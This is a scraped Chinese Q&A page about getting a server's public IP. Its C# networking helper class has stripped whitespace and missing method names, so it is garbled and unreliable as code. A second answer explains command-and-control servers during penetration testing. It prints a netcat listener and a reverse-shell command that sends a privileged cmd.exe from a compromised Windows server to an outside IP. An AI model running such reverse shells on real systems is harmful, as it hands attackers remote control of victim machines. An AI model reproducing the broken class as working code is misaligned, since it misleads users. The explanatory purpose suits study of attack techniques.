当前位置:首页 » 云服务器 » c获取服务器的公网ip

c获取服务器的公网ip

发布时间: 2025-02-23 08:06:43

A. C#获取本机外网IP

usingSystem; usingSystem.Runtime.InteropServices; usingSystem.Collections.Generic; usingSystem.Net; usingSystem.Net.Sockets; usingSystem.IO; usingESBasic.Helpers; usingESBasic.Network.Tcp; namespaceESBasic.Network { ///<summary> ///NetHelper。 ///</summary> publicstaticclassNetHelper { #regionIsPublicIPAddress (stringip) { if(ip.StartsWith("10."))//A类10.0.0.0到10.255.255.255.255 { returnfalse; } if(ip.StartsWith("172."))//B类172.16.0.0到172.31.255.255 { if(ip.Substring(6,1)==".") { intsecPart=int.Parse(ip.Substring(4,2)); if((16<=secPart)&&(secPart<=31)) { returnfalse; } } } if(ip.StartsWith("192.168."))//C类192.168.0.0到192.168.255.255 { returnfalse; } returntrue; } #endregion #regionReceiveData ///<summary> ///ReceiveData从网络读取指定长度的数据 ///</summary> publicstaticbyte[]ReceiveData(NetworkStreamstream,intsize) { byte[]result=newbyte[size]; NetHelper.ReceiveData(stream,result,0,size); returnresult; } ///<summary> ///ReceiveData从网络读取指定长度的数据,存放在buff中offset处 ///</summary> publicstaticvoidReceiveData(NetworkStreamstream,byte[]buff,intoffset,intsize) { intreadCount=0; inttotalCount=0; intcurOffset=offset; while(totalCount<size) { intexceptSize=size-totalCount; readCount=stream.Read(buff,curOffset,exceptSize); if(readCount==0) { thrownewIOException("NetworkStreamInterruptted!"); } curOffset+=readCount; totalCount+=readCount; } } ///<summary> ///ReceiveData从网络读取指定长度的数据 ///</summary> publicstaticbyte[]ReceiveData(ISafeNetworkStreamstream,intsize) { byte[]result=newbyte[size]; NetHelper.ReceiveData(stream,result,0,size); returnresult; } ///<summary> ///ReceiveData从网络读取指定长度的数据,存放在buff中offset处 ///</summary> publicstaticvoidReceiveData(ISafeNetworkStreamstream,byte[]buff,intoffset,intsize) { intreadCount=0; inttotalCount=0; intcurOffset=offset; while(totalCount<size) { intexceptSize=size-totalCount; readCount=stream.Read(buff,curOffset,exceptSize); if(readCount==0) { thrownewIOException("NetworkStreamInterruptted!"); } curOffset+=readCount; totalCount+=readCount; } } #endregion #regionGetRemotingHanler //前提是已经注册了remoting通道 (stringchannelTypeStr,stringip,intport,stringremotingServiceName,TypedestInterfaceType) { try { stringremoteObjUri=string.Format("{0}://{1}:{2}/{3}",channelTypeStr,ip,port,remotingServiceName); returnActivator.GetObject(destInterfaceType,remoteObjUri); } catch { returnnull; } } #endregion #regionGetLocalIp ///<summary> ///GetLocalIp获取本机的IP地址 ///</summary> publicstaticIPAddress[]GetLocalIp() { stringhostName=Dns.GetHostName(); IPHostEntryhEntry=Dns.Resolve(hostName); returnhEntry.AddressList; } () { stringhostName=Dns.GetHostName(); IPHostEntryhEntry=Dns.Resolve(hostName); returnhEntry.AddressList[0]; } ///<summary> ///GetLocalPublicIp获取本机的公网IP地址 ///</summary> () { IPAddress[]list=NetHelper.GetLocalIp(); foreach(IPAddressipinlist) { if(NetHelper.IsPublicIPAddress(ip.ToString())) { returnip.ToString(); } } returnnull; } #endregion #regionIsConnectedToInternet ///<summary> ///IsConnectedToInternet机器是否联网 ///</summary> () { intDesc=0; (Desc,0); } [DllImport("wininet.dll")] (intDescription,intReservedValue); #endregion #regionGetMacAddress获取网卡mac地址 ///<summary> ///GetMacAddress获取本机所有网卡的Mac地址 ///</summary> publicstaticIList<string>GetMacAddress() { returnMachineHelper.GetMacAddress(); } #endregion #regionDownLoadFileFromUrl ///<summary> ///DownLoadFileFromUrl将url处的文件下载到本地 ///</summary> (stringurl,stringsaveFilePath) { FileStreamfstream=newFileStream(saveFilePath,FileMode.Create,FileAccess.Write); WebRequestwRequest=WebRequest.Create(url); try { WebResponsewResponse=wRequest.GetResponse(); intcontentLength=(int)wResponse.ContentLength; byte[]buffer=newbyte[1024]; intread_count=0; inttotal_read_count=0; boolcomplete=false; while(!complete) { read_count=wResponse.GetResponseStream().Read(buffer,0,buffer.Length); if(read_count>0) { fstream.Write(buffer,0,read_count); total_read_count+=read_count; } else { complete=true; } } fstream.Flush(); } finally { fstream.Close(); wRequest=null; } } #endregion } } 这个类直接拿去用吧,命名空间改一下,里面有你想要的方法以及一些可能对你有用的方法

B. 什么是C&C服务器

C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器

通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。

而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333

上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe

上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。

(2)c获取服务器的公网ip扩展阅读

C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。

通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。

这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。

热点内容
安卓什么软件拍视频清晰 发布:2025-02-23 17:04:48 浏览:584
网络设备服务器怎么连接 发布:2025-02-23 16:58:21 浏览:954
怎么在word文档加密码忘了怎么办啊 发布:2025-02-23 16:52:46 浏览:812
如何停止电脑的服务器服务器 发布:2025-02-23 16:52:46 浏览:191
安卓系统不好怎么解决 发布:2025-02-23 16:44:12 浏览:445
如何查看mc服务器ip 发布:2025-02-23 15:56:57 浏览:857
拍子编程 发布:2025-02-23 15:41:55 浏览:847
linux检查是否安装 发布:2025-02-23 15:34:01 浏览:916
数据库的自增字段 发布:2025-02-23 15:33:15 浏览:41
电子密码器去哪里领 发布:2025-02-23 15:31:59 浏览:289